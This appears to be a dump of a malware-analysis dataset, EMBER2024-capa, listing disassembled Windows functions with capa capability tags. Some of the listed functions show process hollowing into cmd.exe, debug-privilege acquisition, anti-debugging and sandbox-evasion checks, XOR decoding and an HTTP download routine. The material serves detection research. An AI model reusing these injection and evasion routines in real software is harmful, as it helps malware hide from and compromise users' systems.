joyce8/EMBER2024-capa huggingface dataset:
Function at 0xfe8d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xfe8d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xfe8d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xfe8d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xfe8d94
push eax
push esi
call fcn.00feb20b
add esp, 8
pop esi
ret 0x10

Function at 0xfe8da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xfe8e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xfe8e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0x1001320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00feadff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xfe8dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xfe8e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xfe8ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xfe8eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0x1001320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00feadff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xfe8eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xfe8e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xfe9000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xfe9131
push esi
call fcn.00fec145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00fdb080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xfe9131
push 0
push ebp
call fcn.00fdb3a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00fdb260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xfe908b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00fdb2f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xfe9121
push 0x1001918
push edi
call fcn.00fea3f0
push eax
push ebx
push esi
call fcn.00fe8f60
push 0x10018f8
push edi
call fcn.00fea3f0
push eax
push ebx
push esi
call fcn.00fe8f60
push 0x10018d8
push edi
call fcn.00fea3f0
push eax
push ebx
push esi
call fcn.00fe8f60
push 0x10018c0
push edi
call fcn.00fea3f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00fe8f60
push 0x10018a0
push edi
call fcn.00fea3f0
push eax
push ebx
push esi
call fcn.00fe8f60
push 0x1001888
push edi
call fcn.00fea3f0
push eax
push ebx
push esi
call fcn.00fe8f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xfea1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00fea140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00fea140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00fea140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00fea140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xfeabfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xfeac50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xffc87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xfeac43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xfeac52
xor eax, eax
pop esi
leave
ret 4
Function at 0x49a294
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x49a2c2
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x49a2e0
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0049a1fa
jmp 0x49a2e0
mov eax, dword [esi + 0x14]
test eax, eax
je 0x49a2e0
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0049a1fa
test edi, edi
mov eax, edi
jne 0x49a2ca
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x449559
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5ddf80]
jne 0x449563
repz ret
jmp fcn.0044bbfe

Function at 0x453288
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5ddf80]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0044eb02
and dword [ebp - 0x14], 0
cmp dword [0x5dfcf4], 0
mov dword [ebp - 0x18], eax
jne 0x45333b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4533e3
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4533e3
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x5dfcf4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x5dfcf8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x5dfcfc], eax
call edi
push eax
call esi
mov dword [0x5dfd04], eax
test eax, eax
je 0x45333b
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x5dfd00], eax
mov eax, dword [0x5dfd00]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x453394
cmp dword [0x5dfd04], ecx
je 0x453394
push eax
call esi
push dword [0x5dfd04]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x453394
test ebx, ebx
je 0x453394
call edi
test eax, eax
je 0x45338b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x45338b
test byte [ebp - 8], 1
jne 0x453394
or dword [ebp + 0x10], 0x200000
jmp 0x4533c7
mov eax, dword [0x5dfcf8]
cmp eax, dword [ebp - 0x18]
je 0x4533c7
push eax
call esi
test eax, eax
je 0x4533c7
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4533c7
mov eax, dword [0x5dfcfc]
cmp eax, dword [ebp - 0x18]
je 0x4533c7
push eax
call esi
test eax, eax
je 0x4533c7
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x5dfcf4]
call esi
test eax, eax
je 0x4533e3
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4533e5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00449559
leave
ret
Function at 0x408943
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x4085d8
sub esi, 0xf3e31e92
sub esi, 1
call fcn.00408973
mov esi, 0xf432f8ea
or esi, ecx
xor dword [edi], edx
push esi
mov esi, dword [esp]
add esp, 4
inc edi
cmp edi, ebx
jne fcn.00408943
and esi, esi
add esi, esi
ret
Function at 0x44b6b0
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x58ce34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x588308
mov ebx, ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x44b6e8
test al, 0x10
jne 0x44b6e8
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00502878
mov esp, ebp
pop ebp
ret
push esi
mov esi, ebx
push edi
lea ecx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x44b6f0
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push 0x588308
sub esi, ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x44b72d
push 0
lea eax, [ebp - 8]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test edi, edi
je 0x44b734
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00502878
mov esp, ebp
pop ebp
ret
Function at 0x51bbdc
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0051ba52

Function at 0x52170a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0052125d
Function at 0x4010e0
Capabilities:
Allocate or change rwx memory
Terminate process

Disassembly:
push ebx
push esi
push edi
push 4
push 0x3000
mov esi, 0x1e5d70
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
push eax
cmp eax, 0x11
je 0x4010ad
mov eax, eax
cld
test ecx, ecx
or eax, eax
clc
pop eax
test edi, edi
je 0x4010dc
nop
mov al, al
push 0xf1b30
push 0
push edi
call fcn.00425490
add esp, 0xc
push ebx
mov cl, cl
mov cl, cl
cld
pop ebx
push 0x8000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
ret
push 0
push 0x40
push 0x3000
push 0x7d0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test eax, eax
jne 0x401108
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x401088

Function at 0x401274
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x43e078]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00425490
push esi
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00425490
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0x18
push 0x43bc0c
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x43bc10
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x43bc14
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x43bc18
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x43bc1c
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x43bc20
lea eax, [ebp - 0x20c]
push eax
call esi
push 0x43bc24
lea eax, [ebp - 0x108]
push eax
call esi
push 0x43bc28
lea eax, [ebp - 0x108]
push eax
call esi
push 0x43bc2c
lea eax, [ebp - 0x108]
push eax
call esi
push 0x43bc30
lea eax, [ebp - 0x108]
push eax
call esi
push 0x43bc34
lea eax, [ebp - 0x108]
push eax
call esi
push 0x43bc38
lea eax, [ebp - 0x108]
push eax
call esi
push 0x43bc3c
lea eax, [ebp - 0x108]
push eax
call esi
lea esi, [ebp - 0x20c]
call fcn.004128e1
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x401395
test cl, cl
je 0x401391
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x401395
add eax, 2
add esi, 2
test cl, cl
jne 0x401375
xor eax, eax
jmp 0x40139a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4013d9
lea esi, [ebp - 0x108]
call fcn.004128af
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4013c9
test cl, cl
je 0x4013c5
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4013c9
add eax, 2
add esi, 2
test cl, cl
jne 0x4013a9
xor eax, eax
jmp 0x4013ce
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4013d9
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0041e88c
leave
ret

Function at 0x40147a
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
push ecx
mov ecx, dword [eax + 2]
mov dword [ebp - 4], ecx
pop ecx
leave
ret
Function at 0x40688f
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
mov eax, dword [0x43e078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
sub esp, 0xc
mov dword [ebp - 0x8d8], eax
lea eax, [ebp + 0xc]
mov esi, esp
call fcn.00412175
lea eax, [ebp - 0x980]
push eax
call fcn.004049de
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x944]
rep movsd dword es:[edi], dword [esi]
push 0x437a5a
lea esi, [ebp - 0x8f8]
call fcn.00412143
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push dword [ebp + 0x18]
call dword [0x642104]
push dword [0x641dcc]
mov dword [ebp - 0x8dc], eax
push dword [ebp - 0x940]
xor esi, esi
call dword [0x6421e0]
test eax, eax
jne 0x406916
inc esi
cmp dword [ebp - 0x8dc], ebx
je 0x406a9a
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x92c]
push dword [ebp - 0x934]
push dword [ebp - 0x8dc]
call dword [0x642204]
mov dword [ebp - 0x8e8], eax
cmp eax, ebx
je 0x406a8e
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0x641c18]
push dword [ebp - 0x918]
push 0x438ab4
push dword [ebp - 0x8e8]
call dword [0x642244]
mov edi, eax
mov dword [ebp - 0x8e0], edi
cmp edi, ebx
je 0x406a82
cmp esi, ebx
je 0x4069af
or dword [ebp - 0x8ec], 0x10300
push 4
lea eax, [ebp - 0x8ec]
push eax
push 0x1f
push edi
call dword [0x641ffc]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x6421cc]
push ebx
mov esi, eax
lea eax, [ebp - 0x8fc]
push eax
lea eax, [ebp - 0x104]
push eax
push 0x13
push edi
mov dword [ebp - 0x8fc], 0x100
call dword [0x64225c]
test eax, eax
jne 0x4069f7
push 0x438ab8
mov esi, dword [ebp - 0x8d8]
call fcn.00412143
jmp 0x406aab
lea edx, [ebp - 0x104]
call fcn.00413759
cmp eax, 0xc8
jne 0x406ad7
cmp esi, ebx
je 0x406a76
mov edi, 0x7cf
jmp 0x406a57
mov eax, dword [ebp - 0x8e4]
cmp eax, ebx
je 0x406a76
mov byte [ebp + eax - 0x8d4], bl
lea eax, [ebp - 0x8d4]
push eax
lea esi, [ebp - 0x908]
lea eax, [ebp - 0x8f8]
call fcn.00412265
lea esi, [ebp - 0x8f8]
call fcn.004121e9
mov eax, dword [ebp - 0x908]
call fcn.00402910
lea eax, [ebp - 0x8e4]
push eax
push edi
lea eax, [ebp - 0x8d4]
push eax
push dword [ebp - 0x8e0]
call dword [0x64212c]
test eax, eax
jne 0x406a18
push dword [ebp - 0x8e0]
call dword [0x642100]
push dword [ebp - 0x8e8]
call dword [0x642100]
push dword [ebp - 0x8dc]
call dword [0x642100]
mov esi, dword [ebp - 0x8d8]
lea eax, [ebp - 0x8f8]
call fcn.00412175
mov eax, dword [ebp - 0x8f8]
call fcn.00402910
mov eax, dword [ebp + 0xc]
call fcn.00402910
mov eax, dword [ebp + 0x18]
call fcn.00402910
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e88c
leave
ret
push str.ERROR
jmp 0x4069e7
Function at 0x4112ec
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 0x3c]
xor ebx, ebx
add esi, eax
mov dword [ebp - 0x14], ebx
xor eax, eax
cmp dword [esi], 0x4550
push edi
jne 0x4113b2
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00425490
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push 1
push ebx
push ebx
push 0x437615
push str.C:WindowsSystem32cmd.exe
call dword [0x6420b0]
test eax, eax
je 0x4113b0
push edi
push 0x1000
push edi
push ebx
call dword [0x64216c]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4113b0
push 0
push edi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x4113b7
push dword [ebp - 0x20]
call dword [0x642220]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [esi + 0x54]
push dword [ebp + 8]
push eax
push dword [ebp - 0x24]
call edi
and dword [ebp - 0xc], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x411411
and dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 8]
push 0
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x10]
add edx, ecx
push edx
push eax
push dword [ebp - 0x24]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x28
cmp dword [ebp - 0xc], eax
jl 0x4113da
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x10]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [0x642220]
mov eax, dword [ebp - 0x1c]
jmp 0x4113b2
Function at 0x413463
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x4c
mov eax, 0x430b03
call fcn.00430989
mov esi, ecx
mov dword [ebp - 0x3c], esi
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x30], edi
lea eax, [ebp - 0x30]
push eax
push 0x433ea0
push 1
push edi
push 0x433f70
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
lea edx, [ebp - 0x28]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.ROOTCIMV2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x4135cd
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
lea edx, [ebp - 0x34]
push edx
push edi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x437e8c
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x4135c6
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x34]
cmp eax, edi
je 0x4135c0
mov ecx, dword [eax]
lea edx, [ebp - 0x38]
push edx
lea edx, [ebp - 0x2c]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x38], edi
je 0x4135c0
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x58]
push edx
push edi
push str.InstallDate
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x50]
lea ecx, [ebp - 0x44]
call fcn.004133b3
pop ecx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push edi
call dword [0x642210]
push eax
call dword [0x6421a0]
mov edi, eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1c]
push eax
movzx eax, word [ebp - 0x24]
push eax
movzx eax, word [ebp - 0x22]
push eax
movzx eax, word [ebp - 0x1e]
push eax
push str._d__d__d__d:_d:_d
push edi
call dword [0x642020]
add esp, 0x20
push edi
call fcn.00412143
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x4135eb
or dword [ebp - 4], 0xffffffff
jmp 0x4135e1
push 0x437f08
jmp 0x4135e6
push 0x437f10
jmp 0x4135e6
push 0x437f18
call fcn.00412143
mov eax, esi
call fcn.004309e5
ret
Function at 0x414387
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x20]
mov ecx, 0x414
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x14], 0x43780a
mov word [ebp - 0x10], cx
mov dword [ebp - 6], 0x43780b
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
leave
ret

Function at 0x414841
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push edi
sub esp, 0xc
mov esi, esp
push 0x43760e
call fcn.00412143
sub esp, 0xc
lea eax, [ebp + 8]
mov esi, esp
call fcn.00412175
call fcn.0040515f
add esp, 0x18
cmp dword [ebp + 0x14], 0
mov esi, eax
mov dword [ebp - 4], edx
je 0x4149ac
push 0x43760f
lea esi, [ebp - 0xc]
call fcn.00412143
push str..exe
push 6
pop ebx
lea edi, [ebp - 0x18]
call fcn.004138a6
push 0x437744
push dword [0x641df0]
mov edi, eax
lea esi, [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.00412265
lea esi, [ebp - 0x30]
call fcn.00412265
lea esi, [ebp - 0x48]
call fcn.00412223
lea esi, [ebp - 0x3c]
call fcn.00412265
lea esi, [ebp - 0xc]
call fcn.004121e9
mov eax, dword [ebp - 0x3c]
call fcn.00402910
mov eax, dword [ebp - 0x48]
call fcn.00402910
mov eax, dword [ebp - 0x30]
call fcn.00402910
mov eax, dword [ebp - 0x24]
call fcn.00402910
mov eax, dword [ebp - 0x18]
call fcn.00402910
push 0x2029
push 0x43ecc0
sub esp, 0xc
mov eax, esi
mov esi, esp
call fcn.00412175
call fcn.0041428c
xor eax, eax
lea edi, [ebp - 0x58]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x14
push 0x44
stosd dword es:[edi], eax
xor ebx, ebx
lea eax, [ebp - 0xa0]
push ebx
push eax
call fcn.00425490
add esp, 0xc
push 0x437750
lea esi, [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.00412265
lea edi, [ebp + 8]
lea esi, [ebp - 0x18]
call fcn.00412223
lea esi, [ebp - 0xc]
call fcn.004121e9
mov eax, dword [ebp - 0x18]
call fcn.00402910
mov eax, dword [ebp - 0x24]
call fcn.00402910
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0xa0]
push eax
push ebx
push ebx
push 0x8000020
push ebx
push ebx
push ebx
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0xc]
call fcn.00402910
xor edi, edi
inc edi
lea esi, [ebp + 0x18]
call fcn.00401cce
mov eax, dword [ebp + 8]
call fcn.00402910
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
xor edi, edi
push esi
call fcn.004112ec
pop ecx
test eax, eax
jne 0x414992
inc edi
cmp edi, 0x64
jl 0x4149ae
xor edi, edi
jmp 0x414995